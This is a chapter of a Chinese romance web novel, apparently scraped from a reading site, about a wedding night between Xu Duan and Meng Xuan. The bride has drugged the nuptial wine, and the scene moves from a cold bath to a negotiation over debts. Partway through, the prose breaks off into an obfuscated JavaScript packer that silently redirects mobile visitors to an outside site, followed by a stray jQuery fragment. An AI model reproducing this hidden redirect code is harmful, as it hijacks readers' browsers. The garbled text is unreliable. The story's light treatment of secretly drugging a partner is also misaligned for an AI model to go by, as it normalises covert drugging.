17. 满城春色一夜发
    这滴泪说重不重,说轻不轻,只是轻轻浅浅在徐端心上砸了个小雨点,又泛起了几阵涟漪。

    她觉得眼前人实在可怜,原来时间流转并不带走从前的伤痕,纵使如今孟宣顺风顺水,也依旧是在院子里哭肿眼睛的男孩。

    他一哭,惹得她母性泛滥,伸出手指替他擦眼泪。

    “孟大人穿红衣好俊俏。”

    她的心上仿佛有了一道新鲜的凹痕,他身上这件红衣恰巧适宜拿来填补。

    只顾着看孟宣的眼泪,她没发觉自己话里的调笑意味。

    孟宣呆愣地由着她擦,他的脸皮实在不会遮掩情绪,徐端手指所到之处,便开始泛红发烫。他禁不住身子往后缩了缩,这么一缩又觉得自己失了脸面,于是抬手整理发冠,看也不看她,向着外头正经说道:“我出去迎客,晚些来找你。”

    徐端手指落空,在自己衣袖上蹭了两下,“嗯,我也回去了。”

    她不知道自己嘴角挂了笑,只知道回屋时脚步格外轻松,走起来带起轻柔的风。

    天色渐暗,院子的宾客一个一个离开。

    刘浤还半醒着,临出门前勾上孟宣的脖子,“孟宣,我告诉你,我今日在你院子里看见仙女了!”

    “知道了,抓紧上马车罢。”姓孟的只当他说醉话,话里尽是敷衍。

    “你当我胡说是不是!”这人刚被塞进马车又立刻探出半个身子,伸手扯住了孟宣的衣角,“她穿着一身黄衣,腰间有一块商号的牌子,你替我问问嫂嫂!”

    他的声音不小,惹得外头行人回望。

    孟宣拂开他的手,替他放下车帘,“知道了,我会替你问的。”

    刘浤还是不安分,脑袋从窗子里钻出来,“你怎么这样着急赶我走!可别忘了!”

    他无奈笑着,又点了点头,从袖中取出一块小银子递给车夫,“路上当心些。”

    车夫连连道谢,“孟大人回吧,别让夫人等久了!”

    夫人……

    孟宣在原地站了站,还是叫她端端好些,显得比旁人亲近。

    “阿良,关门吧。”

    今夜月亮高悬空中,没有星星与它争辉。

    婚房里徐端浑身都酸胀,华贵穿戴此刻只会叫人疲惫。

    她不喜欢成婚,说不清是从哪一刻开始不喜欢的。

    在房里干坐着一日了,翠微说成婚当日如此,日后更是如此,总是要等男人回来的。

    中间阿良来叫她,她还以为自己派的上用场,与旁人成婚有所不同,结果孟宣还是要她等。

    早起揽镜上妆,一个妆面花上两个时辰,这一上午便过去了。

    用了午膳,打个盹,一日便过去了。

    晚上等着你的男人从外面回来,等着他的银子,等着他的小妾。

    后院女子的一生,就这样过去。

    徐端背上起了冷汗,抬手摸到两支扇形金簪,又觉得可以呼吸了。

    一个女子只要有很多的银子,和一点点的胆量,就能无往不利。

    孟宣推门进来,喜娘的声音一下子填满了屋子。

    两杯合卺酒下肚,屋子里只剩下今日的新人。

    兴许是因为药效发作,徐端只觉得自己脑袋不受控制地昏沉,句子一个一个往外崩,全没有经过她的同意。

    孟宣的脸靠近又撤离,他也不像个清醒的样子。

    屋子里太红了,实在是太红了,看得人头晕。

    不知怎么她整个人已经挂在孟宣身上,两手勾着他的脖子。

    她皱眉抬眼,看见孟宣的嘴角上沾着她的口脂,下巴上是口脂晕开的花色,她耸着鼻子笑起来,手指在那人脸皮上轻点,忽然猛地用力拎起他的耳朵。

    孟宣一声“嘶”,召回她不多的理智,手上的力道一松,眼前的一切短暂清晰之后又迅速缥缈。

    身体突然腾空,被一个清凉的怀抱包围着。

    随后她的眼前突然间一暗,温凉的水渗进中衣的缝隙,铺天盖地地贴住她。

    徐端眼神终于清明,两手将脸上的水拂去大半,“你这是做什么?”

    质问过又记起来,她下药了。

    两人同在浴桶,孟宣的状态看起来并没有比她好,浑身湿透,几绺头发沾在脸上,双眼紧紧地闭着。

    “你这是做什么?”徐端嘴角轻勾,仍问他一遍。

    这个人把她当什么了,紧闭双眼坐在跟前,他要讨一个坐怀不乱的名声么?

    从小到大,她最厌恶的就是他那股端着的劲。

    “让你清醒些,我也清醒些。”孟宣不睁眼,他的腿跟徐端的腿碰在一起,格外热些。

    “你自己清醒些罢,我可用不着。”一杯合卺酒,咽下去的不过一口,哪里会有这样大的劲道,徐端自觉好些了,瞥了他一眼,就起身离开了浴桶。

    身边骤然一空,浴桶里稍弥漫起凉意,可没一会儿却更热了。

    孟宣睁开眼,靠着浴桶缓缓呼吸。

    帘幕轻动,徐端再次出现,“难受么?想不到孟大人平日看着正经,牵个手都扭捏,暗地里心思却很活络……”她一手拿着壶凉茶,一手兰花指翘着拿个杯子。

    孟宣眉心皱起,眼尾发红地盯着她,这个人一张嘴说个不停,可说了这么半天,唇上还泛着水光,看着就解渴。

    他掐了掐手心,“你乐意捉弄我,我自然要顺你的意。”

    “我哪有捉弄你?我自己不是也喝了?”徐端端着茶递到他嘴边,孟宣的眼神把她捉住,他的眼虽然红着,目光却还会攻击人。

    他不说话,灌了一口凉茶入喉,可惜这点凉意实在算不得什么。

    孟宣伸手一把将她扯进浴桶,茶杯“咚”的一声入水,溅起些水花。

    等徐端反应过来,她已经抱着茶壶坐在孟宣的腿上了。

    她控制不住想离他远些,心里七上八下。

    “我才换的干净衣裳……”

    这话本意要使他愧疚,哪知自己声音越说越小,反倒显得心虚。

    孟宣夺过茶壶往嘴里灌水,他喝得着急,茶水顺着下巴滑进脖颈,在锁骨上停留一瞬又落进暗处。

    徐端两手捂着心口,脸上升腾起热意,眼睛却挪不开,盯着孟宣的脸瞧。

    “你是不是故意的?”那一点药,哪会这样。

    茶壶里的水也喝光了,孟宣眯着眼朝里头看,真的一滴也没了,他将茶壶扔下,半睁着眼望向徐端。

    确实不至于如此,但一想到昨日她说会将银子还清的事,心里就有火,他不能干等着,他要提前拿出更大的诱惑。

    孟宣轻眨眼,向徐端凑近了些,他决心将计就计,先搅乱她的心。

    “我若是故意的,为何要将自己弄得这样狼狈?”

    徐端感受到脸上另一个人的呼吸,缩了缩脖子

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234724|151403||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,一动也不敢动,甚至对方的吐息离得太近,堵塞了她的鼻子,连自己的呼吸也不顺畅了。

    她垂着的眼眸试探性抬起,对上那人幽深的瞳孔,刹那间仿佛被刺了一刺,又转开眼去。

    孟宣的气息流连在她的耳朵,脸颊,脖颈,一阵又一阵温热使她躲了又躲。

    “端端……”他伸手抬起她的下巴。

    徐端什么也不知道了,听见他的声音偏了偏头,恰好躲过他的手。

    余光瞥见这个人眼尾泛红,她想起那滴眼泪,心里可怜他,于是把脸昂起来挨上他的手。

    嘴角相贴的时候,徐端疼得一皱眉,她的嘴唇才破了皮,一痛就更清醒了。

    她猛地将人推开,从浴桶里爬出来。

    孟宣怀里落空,身上的燥热散去,他看着徐端的背影,抬手按了按自己的太阳穴,彻底清醒了才起身。

    进到卧房时,那人已经裹着被子躺在床榻里侧,靠外的一侧给他留了一床被子。

    “我方才叫人送两桶热水进来,泡了再睡罢。”这会儿已经太清醒,若再要装疯卖傻占她便宜,也实在下作了些。

    徐端的脑袋从被子里露出来,警惕地看了看他,“你好了?”

    孟宣愣了愣,含糊其辞,“好了。”

    “那好,我有话要说。”她裹着被子坐起来,一手钻出来撩了撩耳边的头发。

    孟宣点点头,坐在床沿上等着她说。

    徐端看他只穿一件中衣,身上略显清瘦,微微皱起眉头,“你盖上被子。”

    他照做。

    “我稀里糊涂就嫁给你了,今天才发觉有好些事情我还没来得及说。”

    “你反悔了?”

    “没有。”

    “那你说罢。”

    她瞪孟宣一眼,自顾自开始说,“你不许仗着我花你的钱提要求,欠你银子这事我知道,会计划着还,等还清了,是和离还是继续过,咱们再商量。”

    身旁那人脸色变了变,“你把婚书当欠条了?”

    徐端眉眼动动,嘴角扬起一个假笑,“原先是存了这个心思,只是没想到你这样重情谊。”

    回答她的是一声冷哼。

    “前阵子你说我去哪里都可以,现在咱们成婚了,想来也不会有变化,日后我出府时会告诉王叔,不让你忧心。”

    “嗯。”孟宣的语气算不上好,“我请两个护卫陪着你出门,以防遇见危险。”

    徐端抬眼看他,嘴角向下扯,眼睛恶狠狠地瞪大,“你已经让人跟着我了?”

    孟宣若无其事,看着她点了头。

    “那怎么今天才说?”徐端皱着鼻子,伸拳头轻锤他的肩膀。

    “你还了我的银子就要走,怎么也现在才说?”孟宣佯装断了手,脸皱在一起反问她,“成亲前,咱们没说过会和离这事儿,我若是不认账呢,你能怎么办?”

    徐端自知理亏,但那个人这样逼问她,她也绝不想落下风,瞥见自己枕头下的东西,登时有了主意。

    她也不说话,躺下来不理他。

    孟宣无声笑笑,扯了被子躺下,朝着她的方向低声说:“你别生气,我再不提这些了。”

    话音刚落,一方冰冰凉凉的帕子甩在了他脸上。

    他知道是什么,忙坐起来,对着烛光看看。

    帕子上还是两杆歪斜的竹子,只是角落里多了个“宣”字。